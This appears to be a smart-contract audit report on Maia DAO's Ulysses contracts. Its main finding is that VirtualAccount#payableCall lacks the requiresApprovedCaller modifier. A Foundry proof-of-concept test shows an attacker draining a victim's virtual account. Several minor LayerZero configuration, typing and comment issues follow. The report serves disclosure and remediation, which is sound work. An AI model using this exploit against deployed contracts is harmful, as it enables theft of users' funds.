Maia DAO - Ulysses - unsafesol's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

Lack of requiresApprovedCaller modifier in VirtualAccount#payableCall enables anyone to take over a virtual account and steal funds or carry out any other malicious actions.

Proof of Concept

Virtual Accounts in Maia are available so that users can use Arbitrum dApps from any other branch chain. The EOAs which own the virtual accounts can either perform calls from the virtual account from other branches using Ulysses contracts or they can directly call VirtualAccount#call or VirtualAccount#payableCall functions on Arbitrum.

There is a requiresApprovedCaller modifier on VirtualAccount which prevents any caller other than the owner or router approved from calling a function. This modifier is present on VirtualAccount#call but not on VirtualAccount#payableCall. This enforces anyone to use payableCall() and drain funds or do any other action from the virtual account.

This function can be added to ArbitrumBranchTest.t.sol and run using forge test to demonstrate this vulnerability:

   function testExploitPayableVirtual(address _victim, address _attacker) public {
        _victim = address(11);
        _attacker = address(12);
        testAddLocalTokenArbitrum();
        address newVirtualAccount = address(rootPort.fetchVirtualAccount(_victim));
        VirtualAccount victimAccount = VirtualAccount(payable(newVirtualAccount));
        hevm.deal(_victim, 100 ether);

        hevm.prank(_victim);
        arbitrumNativeToken.mint(_victim, 100 ether );
        hevm.prank(_victim);
        arbitrumNativeToken.transfer(newVirtualAccount, 100 ether);
        Call[] memory callPrev = new Call[](1);
        //Approves tokens to the port
        callPrev[0] = Call({target: address(arbitrumNativeToken), callData: abi.encodeWithSelector(arbitrumNativeToken.approve.selector,address(localPortAddress), 100 ether)});
        hevm.prank(_victim);
        victimAccount.call(callPrev);

        Call[] memory calls = new Call[](1); 
        //Depositing to port from virtual account, as account owner (victim) using depositToPort() function
        calls[0] = Call({target: address(arbitrumCoreBridgeAgent), callData: abi.encodeWithSelector(bytes4(0xd717b087),address(arbitrumNativeToken),1 ether)  });
        hevm.prank(_victim);
        victimAccount.call(calls);
        MockERC20 arbitrumAssetGlobal = MockERC20(newArbitrumAssetGlobalAddress);
        //balance of attacker must be equal to 0
        uint256 balanceBefore = arbitrumNativeToken.balanceOf(_attacker);
        //Balance must be 0 before the fund drain
        assert(balanceBefore == 0);

        //Pranking as attacker address
        hevm.prank(_attacker);
        PayableCall[] memory callsX = new PayableCall[](2);
        callsX[0] = PayableCall({target: address(arbitrumCoreBridgeAgent), callData: abi.encodeWithSelector(arbitrumCoreBridgeAgent.withdrawFromPort.selector,address(newArbitrumAssetGlobalAddress), 1 ether), value: 0 ether});
        callsX[1] = PayableCall({target: address(arbitrumNativeToken), callData: abi.encodeWithSelector(arbitrumNativeToken.transfer.selector,_attacker, 0.5 ether), value: 0 ether});
        victimAccount.payableCall(callsX);

        uint256 balanceAfter = arbitrumNativeToken.balanceOf(_attacker);
        //balance of attacker should have been increased by now
        assert(balanceAfter>0);
        console2.log("Balance before: ",balanceBefore);
        console2.log("Balance after: ",balanceAfter);

    }

Here, the attacker calls VirtualAccount#payableCall, withdraws tokens from port and sends them to the attacker address.

Tools Used

Manual Review

Recommended Mitigation Steps

Add the requiresApprovedCaller modifier to the VirtualAccount#payableCall function.

Assessed type

Access Control

[NC-1] zroPaymentAddress hardcoded as address(0) while calling LayerZero send function

Summary

The layerzero send function is used to send messages to another chain. One of the parameters passed is the zroPaymentAddress. It is advised in the layerzero integration checklist document that this must not be hardcoded to 0 and must be passed as a parameter instead. The impact due to this is that since these contracts are immutable, users would not be able to use the zroPaymentAddress even if they wanted to.

Affected SLOC

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L823-L830 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L915-L922 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L940-L947 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L770-L777 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L787-L794

Reference

https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist

Recommended Mitigation Steps

Pass zroPaymentAddress as a parameter

[NC-2] useZro hardcoded to false while estimating gas

Summary

The layerzer estimateFees function is used to estimate how much fee it might take to send a particular payload through a particular path subject to certain parameters. It is advised in the layerzero integration checklist document that the useZro boolean must not be hardcoded to false while calling this function. However, it is hardcoded in the bridge agents. The impact due to this is that if fee options for the ZRO token in layerzero changes in the future, users might not be able to pay using ZRO for crosschain calls, even if they wanted to unless the contracts are upgraded.

Affected SLOC

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L166-L172 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L146-L152

Reference

https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist

Recommended Mitigation Steps

Do not hardcode useZro to false. Instead, pass it as a parameter.

[NC-3] Chain IDs are hardcoded in all contracts and cannot be changed

Summary

In all bridge agents, the chain IDs are hardcoded. However, in the layerzero integration checklist, it is recommended that there be a onlyAdmin function to set the chain IDs.

Affected SLOC

Both BranchBridgeAgent and RootBridgeAgent contracts have this issue.

Reference

https://layerzero.gitbook.io/docs/evm-guides/layerzero-integration-checklist

Recommended Mitigation Steps

Have onlyAdmin functions to change chain IDs later on.

[NC-4] Bridge Agents do not check if airdrop caps are crossed in adapter parameters

Summary

Layerzero has airdrop caps for each chain. This must be checked in the Relayer.sol contract onchain so that the passed value does not cross the cap. However, this is not being done. The impact is that some messages may fail.

Affected SLOC

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L776 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L776

Reference

https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop

Recommended Mitigation Steps

Check if the value sent is higher than the airdrop cap on the destination chain onchain via the Relayer.sol contract.

[NC-5] Wrong types assigned to addresses and chain IDs

Summary

In RootPort, chain IDs are given the type of address and some addresses are assigned as uint256. The affected SLOCs are these:

    /// @notice ChainId -> Local Address -> Global Address
    mapping(address chainId => mapping(uint256 localAddress => address globalAddress)) public getGlobalTokenFromLocal;

    /// @notice ChainId -> Global Address -> Local Address
    mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal;

    /// @notice ChainId -> Underlying Address -> Local Address
    mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public
        getLocalTokenFromUnderlying;

    /// @notice Mapping from Local Address to Underlying Address.
    mapping(address chainId => mapping(uint256 localAddress => address underlyingAddress)) public
        getUnderlyingTokenFromLocal;

As we can see, chain IDs and localAddress, globalAddress, and underlyingAddress variables are given the wrong types.

Affected SLOC

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L88C1-L102C1

Recommended Mitigation Steps

Change the types to correct ones.

[NC-6] Wrong comments at some SLOC

Summary

There are wrong comments at some SLOC:

The variable is coreRootBridgeAgentAddress, but the comment is written as the core router:

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L42

Here, the approval is given to _bridgeAgentAddress, but the comment written is that approval is given to root port:

https://github.com/code-423n4/2023-09-maia/blob/main/src/MulticallRootRouter.sol#L520

Recommended Mitigation Steps

Change comments